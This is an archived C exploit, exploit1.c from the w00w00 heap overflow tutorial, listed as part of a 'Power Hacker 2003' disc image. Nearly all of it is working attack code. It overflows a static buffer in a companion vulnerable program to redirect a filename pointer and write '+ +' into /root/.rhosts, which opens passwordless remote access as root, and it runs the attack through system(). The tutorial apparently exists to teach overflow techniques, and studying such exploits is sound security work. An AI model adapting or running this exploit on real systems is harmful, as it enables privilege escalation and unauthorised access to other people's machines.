home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / heaptut / examples / vulpkgs / vulpkg1 / exploit1.c next >
Encoding:
C/C++ Source or Header  |  1999-01-06  |  2.3 KB  |  81 lines

  1. /*
  2.  * Copyright (C) January 1999, Matt Conover & WSD
  3.  *
  4.  * This will exploit vulprog1.c.  It passes some arguments to the
  5.  * program (that are supposed to be used for something else).  We are
  6.  * supposed to enter one line of input to be stored temporarily.
  7.  * However, because of a static buffer overflow, we can overwrite the
  8.  * temporary filename pointer, to have it point to argv[1] (which we
  9.  * could pass as "/root/.rhosts".  Then it will write our temporary
  10.  * line to this file.  So our overflow string (what we pass as our
  11.  * input line) will be:
  12.  *   + + # (tmpfile addr) - (buf addr) # of A's | argv[1] address
  13.  *
  14.  * We use "+ +" which everyone knows about, followed by '#' so that the
  15.  * rest is ignored as a comment, but it will not terminate the string
  16.  * in gets() and we will still be able to overflow tmpfile's address.
  17.  *
  18.  * Compile as: gcc -o exploit1 exploit1.c
  19.  */
  20.  
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <unistd.h>
  24. #include <string.h>
  25.  
  26. #define ERROR -1
  27.  
  28. #define DIFF 16 /* estimated diff between buf/tmpfile in vulprog */
  29.  
  30. #define VULPROG "./vulprog1"
  31. #define VULFILE "/root/.rhosts" /* the file 'buf' will be stored in */
  32.  
  33. /* get value of sp off the stack (used to calculate argv[1] address) */
  34. u_long getesp()
  35. {
  36.    __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */
  37. }
  38.  
  39. int main(int argc, char **argv)
  40. {
  41.    u_long addr;
  42.  
  43.    register int i;
  44.    int mainbufsize;
  45.  
  46.    char *mainbuf, buf[DIFF+6+1] = "+ +\t# ";
  47.  
  48.    /* ------------------------------------------------------ */
  49.    if (argc <= 1)
  50.    {
  51.       fprintf(stderr, "Usage: %s <offset> [try 310-330]\n", argv[0]);
  52.       exit(ERROR);
  53.    }
  54.    /* ------------------------------------------------------ */
  55.  
  56.    memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# ");
  57.  
  58.    memset(buf + strlen(buf), 'A', DIFF);
  59.    addr = getesp() + atoi(argv[1]);
  60.  
  61.    /* reverse byte order (on a little endian system) */
  62.    for (i = 0; i < sizeof(u_long); i++)
  63.       buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);
  64.  
  65.    mainbufsize = strlen(buf) + strlen(VULPROG) +
  66.                  strlen(VULPROG) + strlen(VULFILE) + 13;
  67.  
  68.    mainbuf = (char *)malloc(mainbufsize);
  69.    memset(mainbuf, 0, sizeof(mainbuf));
  70.  
  71.    snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",
  72.             buf, VULPROG, VULFILE);
  73.  
  74.    printf("Overflowing tmpaddr to point to 0x%lx, check %s after.\n\n",
  75.           addr, VULFILE);
  76.  
  77.    system(mainbuf);
  78.    return 0;
  79. }
  80.  
  81.